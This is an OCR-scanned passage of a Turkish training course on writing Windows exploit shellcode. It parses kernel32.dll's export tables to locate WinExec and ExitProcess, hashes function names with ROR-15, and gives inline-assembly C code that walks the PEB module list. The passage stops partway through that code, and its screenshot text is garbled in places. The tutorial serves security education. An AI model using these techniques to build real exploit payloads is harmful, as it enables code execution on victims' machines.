|| =-kemel32.dIl pView Data Description Value
l -IMAGE_DOS_HEADER 00000000 5AD  Signature IMAGE_DOS_SIGNATURE MZ
1~ MS-DOS Stub Program 00000002 0090 Bytes on Last Page of File '
@ IMAGE_NT_HEADERS 00000004 0003  Pages in File
IMAGE_SECTION_HEADER text 0000 i
- IMAGE_SECTION_HEADER .data 00000008 0004 Size of Header in Paragraphs
i~ IMAGE_SECTION_HEADER rsrc 0000000A 0000 Minimum Extra Paragraphs
; IMAGE_SECTION_HEADER _reloc 0000000C FFFF Maximum Extra Paragraphs
- SECTION text 0000000E 0000 Initial (relative) SS
- SECTION .data 00000010 00B8 Initial SP
- SECTION .rsrc 00000012 0000  Checksum
& SECTION _reloc 00000014 0000 Initial IP
00000016 0000 Initial (relative) CS
00000018 0040 Offset to Relocation Table
0000001A 0000 Overlay Number
0000001C 0000  Reserved
0000001E 0000  Reserved
00000020 0000  Reserved
00000022 0000  Reserved
00000024 0000  OEM Identifier
00000026 0000 OEM Information
00000028 0000  Reserved
0000002A 0000 Reserved
0000002C 0000  Reserved
0000002E 0000  Reserved
00000030 0000 Resenved
00000032 0000  Reserved
00000034 0000  Reserved
00000036 0000 Reserved
00000038 0000  Reserved
0000003A 0000 Reserved
0000003C 000000E8  Offset to New EXE Header
Wg‘gg IMAGE_DOS_HEADER

ilk olarak IMAGE_DOS_HEADER alaninda HEX “3C” offset adresinde IMAGE_NT_HEADERS alaninin RVA
degerini bulalim. Kernel32.dll icin bu degerin HEX “E8” oldugunu goriyoruz.

E
20000 | wE*#|[E= =

|| = kemel32.dIl
l IMAGE_DOS_HEADER
MS-DOS Stub Program
= IMAGE_NT_HEADERS
Signature

- IMAGE_FILE_HEADER

'~ IMAGE_OPTIONAL_HEADER
IMAGE_SECTION_HEADER text
IMAGE_SECTION_HEADER data
IMAGE_SECTION_HEADER .rsrc
IMAGE_SECTION_HEADER reloc
- SECTION text

SECTION .data
o- SECTION .rsrc
£ SECTION _reloc

pView Data Description Value -
0000001C  7DD60000 Image Base
00000020 00010000  Section Alignment
00000024 00010000  File Alignment
00000028 0006 Major O/S Version
0000002A 0001 Minor O/S Version
0000002C 0006 Major Image Version
0000002E 0001 Minor Image Version
00000030 0006 Major Subsystem Version
00000032 0001 Minor Subsystem Version
00000034 00000000 Win32 Version Value
00000038 00110000  Size of Image
0000003C 00010000  Size of Headers
001105AE  Check
00000044 0003 Subsystem IMAGE_SUBSYSTEM_WINDOWS_CUI
00000046 0140 DLL Characteristics
0040 IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
0100 IMAGE_DLLCHARACTERISTICS_NX_COMPAT
00000048 00040000 ~ Size of Stack Reserve
0000004C 00001000  Size of Stack Commit
00000050 00100000  Size of Heap Reserve
00000054 00001000  Size of Heap Commit
00000058 00000000 Loader Flags
0000005C 00000010 _ Number of Data Directories
00000060 000BFF70 RVA EXPORT Table
00000064 0000A9B1 Si
00000068  000CA924 RVA IMPORT Table
0000006C 000001F4 _ Size
00000070 000F0000 RVA RESOURCE Table
00000074 00000528 _Size
00000078 00000000 RVA EXCEPTION Table
0000007C Size
00000080 00000000 Offset CERTIFICATE Table
00000084 00000000 _ Size
00000088 00100000 RVA BASE RELOCATION Table
ANANNNRC  NNNNANAC _ Qiza &

Vig‘gg IMAGE_OPTIONAL_HEADER

PEView bizim i¢in parsing isini zaten yapiyor, ancak biz programatik olarak ilerliyormus gibi ipuclarini
siraslyla izleyelim. IMAGE_NT_HEADERS alaninda “Signature” alani 4 byte, IMAGE_FILE_HEADER alani
HEX 14 byte yer kapliyor. IMAGE_OPTIONAL_HEADER alaninda EXPORT Table alaninin baslangici HEX 60
byte’lik bir mesafede yer aliyor. Dolayisiyla EXPORT Tablosunun adresi IMAGE_NT_HEADERS alani iginde
HEX “4+14+60” yani HEX 78 byte’lik bir offset’te yer aliyor.

EXPORT Tablosunun RVA’ini, yani “BFF70” adresini, kullanarak IMAGE_EXPORT_DIRECTORY'ye
ulasiyoruz. Burada adresleri RVA formatinda izlersek bu alanin dogru adres oldugundan da emin
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olabiliriz. Bu alanda HEX “20” offset adresinde fonksiyon adreslerinin pointer’larinin tutuldugu alanin

baslangic adresine ulasabiliriz.

Vindows

file View Go Help
20000 =@z #E==
|| ©-kemel32.dIl pView Data Description Value
N IMAGE_DOS_HEADER Cl isti
MS-DOS Stub Program 00000004  53158AB2 Time Date Stamp 2014/03/04 Sal 08:11:30 UTC '
= IMAGE_NT_HEADERS 00000008 0000 Major Version
Signature 0000000A 0000 Minor Version
IMAGE_FILE_HEADER 0000000C 000C34E0 Name RVA KERNEL32.dll
- IMAGE_OPTIONAL_HEADER 00000010 00000001 Ordinal Base
- IMAGE_SECTION_HEADER text 00000014 00000554 Number of Functions
IMAGE_SECTION_HEADER .data 00000018 00000554 Number of Names
IMAGE_SECTION_HEADER .rsrc 0000001C  000BFF98 Address Table RVA
IMAGE_SECTION_HEADER reloc 00000020, DOOC14E8 Name Pointer Table RVA
= SECTION text 00000024 000C2A38 Ordinal Table RVA
IMPORT Address Table

IMAGE_LOAD_CONFIG_DIRECTORY
" IMAGE_EXPORT_DIRECTORY
~ EXPORT Address Table
~ EXPORT Name Pointer Table
+~ EXPORT Ordinal Table
-~ EXPORT Names
IMPORT Directory Table
\~IMPORT DLL Names
'~ IMPORT Name Table
L IMPORT Hints/Names
| IMAGE_DEBUG_DIRECTORY
- IMAGE_DEBUG_TYPE_RESERVED10
- IMAGE_DEBUG_TYPE_CODEVIEW
-SECTION .data
SECTION .rsrc
@ SECTION .reloc

Wg'ég IMAGE_EXPORT_DIRECTORY

Fonksiyon adlarinin (adreslerinin degil) pointer’larinin tutuldugu alan EXPORT Name Pointer Table alani
ve bu alanin RVA degerini PEView’dan teyit edebiliriz. PEView bizim icin bu pointer’larin RVA adresleri ile
isaret ettigi alanlarda bulunan isim bilgilerini bizim igin listeliyor. Bizim shellcode’umuzda bu isi kendimiz
yapmamiz gerekecek. Gozle WinExec fonksiyonunu aradigimizda listenin alt kisimlarinda fonksiyon adini
goriiyoruz. Bu fonksiyonun adresini bulmak icin su yolu izlememiz lazim. Oncelikle aradigimiz
fonksiyonun isminin Name pointer tablosu’ndaki sirasini tespit etmeliyiz. Fonksiyon ismimizin pointer’i
bu bélim icinde HEX 145C offset’te bulunuyor. Bu bolimdeki her bir pointer verisi 4 byte olduguna gore
pointer’in sirasi 145C / 4 = HEX A2E’dir.
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file View Go Help
20000 =B #|E==
|| = kemel32.dll @ pView Data Description Value -
u IMAGE_DOS_HEADER 0000141C ~ 000C98D9 Function Name RVA 0508 WakeConditi iable -> NTDLL Rt/WakeC i
MS-DOS Stub Program 00001420 000C98EF  Function Name RVA 0509 WerGetFlags
& IMAGE_NT_HEADERS 00001424  000C98FB Function Name RVA  050A WerRegisterFile
Signature 00001428 000C990B Function Name RVA  050B WerRegisterMemoryBlock
- IMAGE_FILE_HEADER 0000142C 000C9922 Function Name RVA  050C WerRegisterRuntimeExceptionModule
IMAGE_OPTIONAL_HEADER 00001430 000C9944 Function Name RVA 050D WerSetFlags
~IMAGE_SECTION_HEADER text 00001434 000C9950 Function Name RVA  050E WerUnregisterFile
-IMAGE_SECTION_HEADER .data 00001438  000C9962 Function Name RVA  050F WerUnregisterMemoryBlock
IMAGE_SECTION_HEADER .rsrc 0000143C ~ 000C997B Function Name RVA 0510 WerUnregi: i i
IMAGE_SECTION_HEADER .reloc 00001440 000C999F Function Name RVA 0511 WerpCleanupMessageMapping
- SECTION text 00001444 000C99B9 Function Name RVA 0512 WerplnitiateRemoteRecovery
IMPORT Address Table 00001448 000C99D4 Function Name RVA 0513 WerpNotifyl oadStringResource
~IMAGE_LOAD_CONFIG_DIRECTORY 0000144C  000C99F1 Function Name RVA 0514 WerpNotifyL oadStringResourceEx
- IMAGE_EXPORT_DIRECTORY 00001450  000C9A10 Function Name RVA 0515 WerpNotifyUseStringResource
— EXPORT Address Table 00001454  000C9A2C Function Name RVA 0516 WerpStringLookup
—EXPORT Name Pointer Table 00001458  000C9A3D Function Name RVA 0517 WideCharToMultiByte
~ EXPORT Ordinal Table lame RVA
i~ EXPORT Names 00001460  000C9A59 Function Name RVA 0519 Wow64DisableWowb4FsRedirection
1~ IMPORT Directory Table 00001464 000C9A78 Function Name RVA  051A Wow64EnableWowB4FsRedirection
IMPORT DLL Names 00001468 000C9A96 Function Name RVA  051B Wow64GetThreadContext
- IMPORT Name Table 0000146C  000CIAAC Function Name RVA  051C WowB4GetThreadSelectorEntry
IMPORT Hints/Names 00001470  000C9ACB Function Name RVA 051D Wow64RevertWow64FsRedirection
i~ IMAGE_DEBUG_DIRECTORY 00001474  000C9AE6 Function Name RVA  051E Wow64SetThreadContext
~IMAGE_DEBUG_TYPE_RESERVED10 00001478  000CSAFC Function Name RVA  051F Wow64SuspendThread
- IMAGE_DEBUG_TYPE_CODEVIEW 0000147C ~ 000C9BOF Function Name RVA 0520 WriteConsoleA
SECTION .data 00001480 000C9B1D Function Name RVA 0521 WriteConsolelnputA
SECTION .rsrc 00001484 000C9B30 Function Name RVA 0522 WriteConsolelnputVDMA
1 SECTION _reloc 00001488 000C9B46 Function Name RVA 0523 WriteConsolelnputVDMW
0000148C 000C9B5C Function Name RVA 0524 WriteConsolelnputW
00001430 000C9B6F  Function Name RVA 0525 WriteConsoleOutputA
00001434 000C9B83 Function Name RVA 0526 WriteConsoleOutputAttribute
00001498  000C9BIF Function Name RVA 0527 WriteConsoleOutputCharacterA B
0000149C  000C9BBC Function Name RVA 0528 WriteConsoleQutputCharacterV'
‘nlnnnuAn NNNCIRNG_Function Name RVA __N52Q_ WritaCansnlaOt it W, _ 1 e
g‘gg EXPORT Name Pointer Table

Daha sonra Export Ordinal Tablosunda (ki bu tablonun baslangic adresi de
IMAGE_EXPORT_DIRECTORY’de HEX “24” offset’te yer aliyor) ilgili siradaki 2 byte’lik degeri bulmaliyiz.
Bu deger bize EXPORT Address Tablosunda RVA degeri olarak ilgili fonksiyonun adresinin bulundugu
kayit sira numarasini verecek. Bu sira numaralarinin 0’dan basladigini unutmayalim. Ordinal tablosunun

HEX A2E sirasindaki degerin HEX 517 oldugunu goriyoruz.

le View Go Help
20000 |sE*H|[E==
|| =-kemel32.dIl pView Data Description Value -
u IMAGE_DOS_HEADER 00000A18 050C Function Ordinal 050D WerSetFlags
MS-DOS Stub Program 00000A1A 050D Function Ordinal 050E WerUnregisterFile
= IMAGE_NT_HEADERS 00000A1C 050E Function Ordinal 050F WerUnregisterMemoryBlock
Signature 00000A1E 050F Function Ordinal 0510 Werl i { i
IMAGE_FILE_HEADER 00000A20 0510 Function Ordinal 0511 WerpCleanupMessageMapping
'~ IMAGE_OPTIONAL_HEADER 00000A22 0511 Function Ordinal 0512 WerplnitiateRemoteRecovery
IMAGE_SECTION_HEADER _text 00000A24 0512 Function Ordinal 0513 WerpNotifyLoadStringResource
IMAGE_SECTION_HEADER .data 00000A26 0513 Function Ordinal 0514 WerpNotifyLoadStringResourceEx
IMAGE_SECTION_HEADER .rsrc 00000A28 0514 Function Ordinal 0515 WerpNotifyUseStringResource
IMAGE_SECTION_HEADER “reloc 00000A2A 0515 Function Ordinal 0516 WerpStringLookup
- SECTION text 00000A2C 0516 Function Ordinal 0517 WideCharToMultiByte
IMPORT Address Table 00000A2E Function Ordinal 0518 WinExec
-~ IMAGE_LOAD_CONFIG_DIRECTORY 00000A30 0518 inction Ordinal 0519 WowB4DisableWow64FsRedirection
-~ IMAGE_EXPORT_DIRECTORY 00000A32 0519 unction Ordinal 051A Wow64EnableWowB4FsRedirection
- EXPORT Address Table 00000A34 051A Function Ordinal 0518 Wow64GetThreadContext
— EXPORT Name Pointer Table 00000A36 0518 Function Ordinal 051C Wow64GetThreadSelectorEntry
~ EXPORT Ordinal Table 00000A38 051C Function Ordinal 051D Wow64RevertWowb4FsRedirection
EXPORT Names 00000A3A 051D Function Ordinal 051E Wow64SetThreadContext
1~ IMPORT Directory Table 00000A3C 051E Function Ordinal 051F Wow64SuspendThread
IMPORT DLL Names 00000A3E 051F Function Ordinal 0520 WriteConsoleA
- IMPORT Name Table 00000A40 0520 Function Ordinal 0521 WriteConsolelnputA
" IMPORT Hints/Names 00000A42 0521 Function Ordinal 0522 WriteConsolelnputVDMA
'~ IMAGE_DEBUG_DIRECTORY 00000A44 0522 Function Ordinal 0523 WriteConsolelnputVDMW
~IMAGE_DEBUG_TYPE_RESERVED10 00000A46 0523 Function Ordinal 0524 WriteConsolelnputW
- IMAGE_DEBUG_TYPE_CODEVIEW 00000A48 0524 Function Ordinal 0525 WriteConsoleOutputA
SECTION .data 00000A4A 0525 Function Ordinal 0526 WriteConsoleOutputAttribute
SECTION .rsrc 00000A4C 0526 Function Ordinal 0527 WriteConsoleQutputCharacterA
@ SECTION _reloc 00000A4E 0527 Function Ordinal 0528 WriteConsoleOutputCharacter'V
00000A50 0528 Function Ordinal 0529 WriteConsoleOutputW
00000A52 0529 Function Ordinal 052A WriteConsoleW
00000A54 052A Function Ordinal 0528 WriteFile
00000A56 0528 Function Ordinal 052C WriteFileEx W) |
00000A58 052C  Function Ordinal 052D WriteFileGather 11}
‘n‘nrmnMA 0A2N___ Functinn Ordinal NAOF_ WiritaPri in Am ) Z
ing EXPORT Ordinal Table

Export Ordinal tablosundaki deger fonksiyon adresinin EXPORT Address Table igindeki sirasini
gostermektedir. Buna gore her bir adres bilgisi 4 byte olduguna gére WinExec fonksiyonunun bu tablo
icindeki offset’ini bulmak icin HEX 517 x 4 = HEX 145C hesaplamasini yapabiliriz. PEView’dan bu adresi

kontrol ettigimizde WinExec fonksiyonunun RVA adresini gorebiliriz.

.
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file View Go Help
20000 | HED=*#|E= =
- kemel32.dll pView Data Description Value a
IMAGE_DOS_HEADER 0000141C ~ 000C98D9 Function Name RVA 0508 WakeCi -> NTDLL RtiWakeC
| MS-DOS Stub Program 00001420 000C98EF  Function Name RVA 0509 WerGetFlags ‘
& IMAGE_NT_HEADERS 00001424  000C98FB Function Name RVA  050A WerRegisterFile
Signature 00001428 000C990B Function Name RVA  050B WerRegisterMemoryBlock
-~ IMAGE_FILE_HEADER 0000142C 000C9922 Function Name RVA  050C WerRegisterRuntimeExceptionModule
IMAGE_OPTIONAL_HEADER 00001430 000C9944 Function Name RVA 050D WerSetFlags
IMAGE_SECTION_HEADER text 00001434  000C9950 Function Name RVA  050E WerUnregisterFile
IMAGE_SECTION_HEADER data 00001438  000C9962 Function Name RVA  050F WerUnregisterMemoryBlock
IMAGE_SECTION_HEADER .rsrc 0000143C  000C997B Function Name RVA 0510 WerUnregi: i i
IMAGE_SECTION_HEADER reloc 00001440  000C999F Function Name RVA 0511 WerpCleanupMessageMapping
- SECTION _text 00001444 000C99B9 Function Name RVA 0512 WerplnitiateRemoteRecovery
-~ IMPORT Address Table 00001448 000C99D4 Function Name RVA 0513 WerpNotifyl oadStringResource
- IMAGE_LOAD_CONFIG_DIRECTORY 0000144C  000C99F1 Function Name RVA 0514 WerpNotifyL oadStringResourceEx
- IMAGE_EXPORT_DIRECTORY 00001450 000C9A10 Function Name RVA 0515 WerpNotifyUseStingResource
EXPORT Address Table 00001454  000C9A2C Function Name RVA 0516 WerpStringLookup
— EXPORT Name Pointer Table 00001458  000C9A3D Function Name RVA 0517 WideCharToMultiByte
EXPORT Ordinal Table 0000145C 000C9A51 | Function Name RVA 0518 WinExec
EXPORT Names 00001460  000C9A59 Function Name RVA 0519 Wow64DisableWowB4FsRedirection
IMPORT Directory Table 00001464 000C9A78 Function Name RVA  051A Wow64EnableWow64FsRedirection
: IMPORT DLL Names 00001468 000C9A96 Function Name RVA  051B Wow64GetThreadContext
IMPORT Name Table 0000146C  000CIAAC Function Name RVA  051C WowB4GetThreadSelectorEntry
IMPORT Hints/Names 00001470 000C9AC8 Function Name RVA 051D Wow64RevertWow64F sRedirection
IMAGE_DEBUG_DIRECTORY 00001474  000C9AE6 Function Name RVA  051E Wow64SetThreadContext
-IMAGE_DEBUG_TYPE_RESERVED10 00001478  000CSAFC Function Name RVA  051F Wow64SuspendThread
IMAGE_DEBUG_TYPE_CODEVIEW 0000147C ~ 000C9BOF Function Name RVA 0520 WriteConsoleA
SECTION .data 00001480 000C9B1D Function Name RVA 0521 WriteConsolelnputA
SECTION .rsrc 00001484 000C9B30 Function Name RVA 0522 WriteConsolelnputVDMA
© SECTION _reloc 00001488 000C9B46 Function Name RVA 0523 WriteConsolelnputVDMW
0000148C 000C9B5C Function Name RVA 0524 WriteConsolelnputW
00001430 000C9B6F Function Name RVA 0525 WriteConsoleOutputA
00001434 000C9B83 Function Name RVA 0526 WriteConsoleOutputAttribute
00001498  000C9BIF Function Name RVA 0527 WriteConsoleOutputCharacterA )
0000149C  000C9BBC Function Name RVA 0528 WriteConsoleQutputCharacterV' I
‘n‘nnnuAn NNNCIRNG _Function Name RVA 1529 WritaCansnlaOitnutW. - —, he
Viz'gg EXPORT Name Pointer Table

Ozellikle son kisim biraz karmasik oldugu icin bir de tiim siirece bir grafik gdsterim tizerinden tekrar

bakalim:

btri k

WinExec FONKSIYONUNUN ADRESiINiN BULUNMASI

IMAGE DOS HEADER EXPORT Name Pointer Table

Modil Baz

Adresi (+0x3c) Yeni EXE

Header Offseti

# Function Name RVA rmmmsm) \VinExec

N\ IMAGE OPTIONAL HEADER EXPORT Ordinal Table

(+0x78) EXPORT Table Function Ordinal

IMAGE EXPORT DIRECTO EXPORT Address Table

(+0x20) Name Pointe

Table RVA (+0x22)
(+0x1c)|

Function RVA

Sayag: # of Functions (+0x14)

Fonksiyon RVA Adresi + Modiil Baz Adresi = Fonksiyon VA Adresi

Fonksiyon adresini bulmak icin dncelikle modul baz adresini tespit ettigimizi varsayiyoruz.
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Modl baz adresi PE dosyasinin hafizadaki baslangic noktasina isaret ediyor. Bu nokta bildiginiz gibi
Image DOS Header’in da baslangici. Bu bashgin HEX 3c offset adresinde Yeni EXE Header Offset’l
bulunuyor.

Yeni EXE Header Offset’inin HEX 78 offset’inde Image Export Directory’nin RVA adresi bulunuyor.
Fonksiyon adresini tespit etmek icin gelistirdigimiz uygulamayi incelerken de siklikla goreceginiz gibi her
referans noktasinda bir sonraki degeri okuyabilmek icin RVA adreslerinin modiil baz adresi eklenerek VA
(yani virtual address) formatina dénistirilmesi gerekecek.

Image Export Directory’nin HEX 20 offset’inde Name Pointer Table’in yani fonksiyon isimlerinin
pointer’larinin tutuldugu tablonun adresini elde ediyoruz. Ayni tablo icinde HEX 14 offset adresinde isim
pointer’larini incelerken sayag olarak kullanabilecegimiz toplam fonksiyon sayisi yani Number of
Functions degerini buluyoruz. Gelistirdigimiz kod icinde bu rakami sondan basa dogru fonksiyon
isimlerini incelemek i¢in kullanacagiz. Bastan sona bir arama da yapilarak bu degerin okunmasina gerek
de kalmayabilirdi.

Fonksiyon ismini ve bu ismin pointer’inin Export Name Pointer Table’l icindeki sirasini tespit ettikten
sonra fonksiyon adresini tespit edebilmek i¢in bir ara tabloyu kullanmamiz gerekiyor. Ordinal tablosu
her biri 2 byte’lik yer kaplayan fonksiyon sira numaralarini igeriyor. isim tablosundaki sirada bulunan
ordinal numarasi fonksiyonun adres tablosundaki sirasini barindiriyor. Dolayisiyla dnce Export Ordinal
Table veri alaninin baslangicini Image Export Directory’nin HEX 24 offset’inden elde ettikten sonra
ordinal tablosunun ilgili sirasinda bulunan ordinal numarasini okuyoruz. Bu numarayi kullanarak ve yine
Image Export Directory’sinden elde ettigimiz Export Address Table veri alaninin adresinden faydalanarak
fonksiyon adres pointer’larindan ilgili sirada bulunan adres bilgisini buluyoruz. Bu adres bilgisi de RVA
formatinda oldugundan fonksiyonun adresini modil baz adresini bu degere ekleyerek bulmamiz
gerekiyor.

Fonksiyon adresi bulma yolumuzu ortaya koyduktan sonra bunu hayata gecirelim. Ancak baslamadan
once fonksiyon adini tespit etme amaciyla genellikle kullanilan bir yontemi agiklamak istiyorum.
Fonksiyon isimleri shellcode igine gdmll bir string ile karsilastiriimak yerine bir hesaplamaya tabi
tutulur ve shellcode icinde bulunan deger ile karsilastirilir. Ornegin ismi olusturan her bir karakter 4
byte’lik bir deger ile toplanir, toplam degeri rotate ettirilerek icindeki bitlerin yerleri kaydirilir ve bu
islem ismin tiim karakterleri sonlanincaya kadar devam eder. islem sona erdiginde ortaya ¢ikan deger
bizim daha dnceden hesapladigimiz deger ile eslesiyorsa aradigimiz fonksiyon ismini bulmusuz demektir.
Bu bir tir hash hesaplama yontemi. Tabi ki kriptografik olarak gli¢ll bir yontem oldugunu iddia
edemeyiz, ancak arastirdigimiz isim listesi icinde bir hash degeri cakismamasi olmamasi bizim igin
yeterli. Bu yontemin nasil kodlandigini Kernel32 modulinin icindeki fonksiyonlarin hash degerlerini
hesaplayan kodumuzun icinde gorecegiz.

Bu islemi yapmanin birinci faydasi her fonksiyonu 4 byte’lik bir veri ile ifade edebiliyor olmamiz. Boylece
fonksiyon ismi uzun olsa bile bizim shellcode’umuz icinde kaplayacagi alan 4 byte olacak. Ayrica null byte
problemimiz de kalmiyor. Bir diger faydayi da kodu inceleyenlerin isini biraz daha zorlastirmak olarak
soyleyebiliriz. Bu nedenle hash degeri kullanimi zararli yazilim yazarlarinin favori yontemlerinden birisi.

#include <stdio.h>

1
2o
3. int main()
4. {
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5 char kelime[256];

6. int adres, hashDegeri;

7. adres = (int)&kelime;

8. while (1)

9. {

10. printf("Hash'lenecek kelimeyi giriniz: ");

11. fgets(kelime, 256, stdin);

12. size_t uzunluk = strlen(kelime); //fgets komut satirindan alinan kelimenin sonu
na newline karakteri koydugundan bunu null karakteri ile degistiriyoruz.

13. if (kelime[uzunluk - 1] == "\n') {

14. kelime[uzunluk - 1] = '\@';

15. }

16. _asm {

17. pushad

18.

19. hash_hesaplama_bolumu :

20. mov esi, adres

21. xor edi, edi

22. Xor eax, eax

23. cld; lods instructioni ESI register 1ini yanlislikla asagi yonde degistirmes
in diye emin olmak i¢in kullaniyoruz

24,

25. hesaplama_dongusu :

26. lodsb; ESI nin isaret ettigi mevcut fonksiyon adi harfini(yani bir bytei) A
L registerina yikliyoruz ve ESI yi bir artiriyoruz

27. test al, al; Fonksiyon adinin sonuna gelip gelmedigimizi test ediyoruz

28. jz hesaplama_sonu; AL register degeri © ise, yani fonksiyon adini tamamlami
ssak hesaplamayi sona erdiriyoruz

29. ror edi, Oxf; Hash degerini 15 bit rotate ettiriyoruz

30. add edi, eax; Hash degerine mevcut karakteri ekliyoruz

31. jmp hesaplama_dongusu

320

33. hesaplama_sonu :

34. mov hashDegeri, edi; Hash degerini yazmak lizere sakliyoruz

35. popad

36. }

37. printf("\nKelime\t\tHash Degeri\n------ \t\t-----------
\n%s\t\t%x\n\n", kelime, hashDegeri);

38. }

39. }

Fonksiyon adinin hash’ini Gretmek i¢in kullanabilecegimiz basit bir kod 6rneginin lizerinden birlikte
gecelim ve uygulamamizi deneyelim.

Uygulamamiz hash’i hesaplanacak olan kelime icin 256 byte’lik bir lokal degisken tanimliyor. Fgets
fonksiyonu ile ilgili kelimeyi aliyoruz. Hafizada hash’ini hesaplayacagimiz fonksiyon adlari null karakterle
bitiyor, ancak fgets fonksiyonu kelimeyi girdikten sonra Enter tusuna bastig§imizda kelimenin sonunda
newline karakterini de alarak lokal degiskenimize yaziyor. Bu nedenle kelimenin sonundaki newline
karakterini null karakteri ile degistirerek kelimemizi C string’i haline getiriyoruz.

Daha sonra gelen inline assembly bolimiinde:

e pushad ile tim register’larin orjinal hallerini stack’e yaziyoruz.

e Kelimemizi sakladigimiz lokal degiskenin adresini daha dnce integer veri tipine cast ederek adres
lokal degiskenine atamistik. Bu degeri ESI register’ina aktariyoruz. ESI register’l bizim igin
islenecek bir sonraki karakteri isaret eden bir pointer gorevi gorecek.

e Hash hesaplamasinda kullanacagimiz EDI ve EAX register degerlerini sifirliyoruz.

e CLD instruction’l EFLAGS register’l icinde bulunan direction flag degerini sifirlayarak
uygulamanin énceki bolimlerinde bu degerin 1 olmasi riskini ortadan kaldiriyor. Clinki biz ESI

i 35
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register’inin isaret ettigi byte’lari soldan saga dogru isleyecegimizden emin olmak istiyoruz.

e Hash hesaplamasinin yapilacagi donglye geldigimizde ilk olarak ESI register’inin isaret ettigi bir
byte’l AL register’ina, yani EAX register’inin en dislik degere sahip byte’ina aktariyoruz.

e Sonraki satirda kelimenin sonuna gelip gelmedigimizi anlamak icin bu byte’in null byte olup
olmadigini test ediyoruz.

e Eger kelimenin sonuna gelmemissek hash degerimizi sakladigimiz EDI register’ini 15 bit saga
rotate ettiriyoruz. Niye 15 bit derseniz herhangi bir 6zel nedeni yok, 14’te olabilirdi, 7'de
olabilirdi. Burada amacimizin sadece fonksiyon adini 4 byte’lik bir degere dontstirmek
oldugunu unutmayin.

e Daha sonra EAX register’indaki degeri, yani son okunan byte’l hash’imizin saklandigi EDI
register’ina ekliyoruz.

e Eger null byte’l okumussak hesaplama sona ermis oluyor, EDI degerini hashDegeri C lokal
degiskenine atiyoruz. Popad instruction’l ile stackte saklanan tiim orjinal register degerlerini
tekrar register’lara yukliyoruz.

e  Printf ile kelime ve hash degerini ¢ikti olarak yaziyoruz.

Simdi bizim ilgilendigimiz fonksiyon adlari icin bir deneme yapalim. Once WinExec fonksiyon adinin hash
degerini hesaplayalm.

Daha sonra exploit shellcode’umuzun prosesi sorunsuz sonlandirmasi igin kullanacagimiz ExitProcess
fonksiyon adinin hash degerini hesaplayalim.

' ¥3  QuickLaunch (Ctrl+Q) P - & x
Fatih Emiral ~ [34

mov esi, adres

xor edi, edi

xor eax, eax

cld; lods instructioni ESI register 1n1 yanlislikla asagi ydnde degistirmesin diye emin olmak ic¢in kullaniyoruz

hesaplama_dongusu :

v I X ||Watchl

Bu iki degeri ve bu uygulamada kullandigimiz hash hesaplama yontemini olusturacagimiz shellcode
icinde kullanacagiz.

Shellcode gelistirme asamasindan 6nce son 2 bollimde (izerinde calistigimiz konulari bir defa daha
tekrar etmek ve bu problemleri ¢ozmek icin gelistirdigimiz teknikleri bir araya getirmek igin bir calisma
daha yapalim.

i
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Bu adimda Kernel32 moddlinin adresi ile birlikte bu modiilln icindeki fonksiyonlarin adlari ve
adreslerini bulacagiz, ayrica fonksiyon isimlerinin hash degerlerini hesaplayacagiz.

1. #include <stdio.h>

2

3. int main()

4. A

5. int modulBaseAdresi;

6 int sayac;

7 int namesTableVA;

8 int hashDegeri;

9. int fonksiyonAdresi;

10. int exportTabloAdresi;

11. char *ptrFonksiyonAdi;

12.

13. int a;

14.

15. _asm {

16. pushad

17. Xor ecx, ecx

18. mov esi, fs:[0x30]; PEB adresi

19. mov esi, [esi + ©@x@c]; PEB LOADER DATA adresi

20. mov esi, [esi + Ox1c]; Baslatilma sirasina gore modiil listesinin baslangi¢ adre
si

21.

22. sonraki_modul :

23. mov eax, [esi + Ox@8]; Modiliin baz adresi

24. mov modulBaseAdresi, eax

25. mov edi, [esi + Ox20]; Modiil adi(unicode formatinda)

26. mov esi, [esi]; esi = Modiil listesinde bir sonraki modiil meta datalarinin bulun
dugu adres InInitOrder[X].flink(sonraki modul)

27. cmp[edi + 12 * 2], cl; KERNEL32.DLL 12 karakterden olustugu ig¢in 24. byte'in nu

11 olup olmadigini kontrol ediyoruz. Bu yontem olabilecek en gilivenli ve jenerik yontem
degil, ancak isimizi goriyor.

28. jne sonraki_modul; Eger 24. byte null degilse kernel32.dll ismini bulamamisiz d
emektir

29.

30. mov ecx, [eax + Ox3c]; MSDOS basligini atliyoruz

31. mov edx, [eax + ecx + 0x78]; Export tablosunun RVA adresini edx e yaziyoruz

32. add edx, eax; Export tablosunun VA adresini hesapliyoruz

33. mov exportTabloAdresi, edx; Export tablo adresini fonksiyonlari tararken lazim
olacagi ic¢in kaydediyoruz

34. mov ecx, [edx + ©x18]; Export tablosundan toplam fonksiyon sayisini saya¢ olara
k kullanmak lizere kaydediyoruz

35. mov sayac, ecx

36. mov ebx, [edx + ©x20]; Export names tablosunun RVA adresini ebx e yaziyoruz

37. add ebx, eax; Export names tablosunun VA adresini hesapliyoruz

38. mov namesTableVA, ebx

39. popad

40. }

41.

42. while (sayac > 0){

43, _asm {

44. pushad

45. mov ecx, sayac; Hangi fonksiyon sirasinda kaldigimizi hatirlamak lizere saya
¢ egerini kullaniyoruz

46. dec ecx

47. mov sayac, ecx

48. mov ebx, namesTableVA; Names tablosunun VA adresini hatirlamak i¢in namesTa
bleVA degerini kullaniyoruz

49. mov esi, [ebx + ecx * 4]; Export names tablosunda sirasi gelen fonksiyon ad
1nin pointerinin RVA adresini hesapliyoruz ve bu pointer'in degerini ESI registerina at
1yoruz

50. mov eax, modulBaseAdresi; Modiil baslangi¢ adresini hatirlamak i¢in modulBas

eAdresi degerini kullaniyoruz

i
h+l_': k BTRIiSK BiLGi GUVENLIiGI VE BT YONETiSiM HiZMETLERI



51.
52.

53.
54.
55.
56.
57.

58.
59.

60.
61.

62.
63.
64.
65.
66.
67.
68.
69.
70.
71.

72.
73.
74.

75.

76.
77.

78.
79.
80.
81.
82.
83.
84.
85.
86.

BTRisk Bilgi Glivenligi ve BT Yonetisim Hizmetleri
Exploit Shellcode Gelistirme

add esi, eax; Fonksiyon pointerinin VA adresini hesapliyoruz
mov ptrFonksiyonAdi, esi; Fonksiyon adinin pointerini fonksiyon adini yazma

k Uzere sakliyoruz

hash_hesaplama_bolumu :

xor edi, edi

Xxor eax, eax

cld; lods instructioni ESI register 1ni yanlislikla asagi yonde degistirmes

in diye emin olmak ig¢in kullaniyoruz

hesaplama_dongusu :
lodsb; ESI nin isaret ettigi mevcut fonksiyon adi harfini(yani bir bytei) A

L registerina yikliyoruz ve ESI yi bir artiriyoruz

test al, al; Fonksiyon adinin sonuna gelip gelmedigimizi test ediyoruz
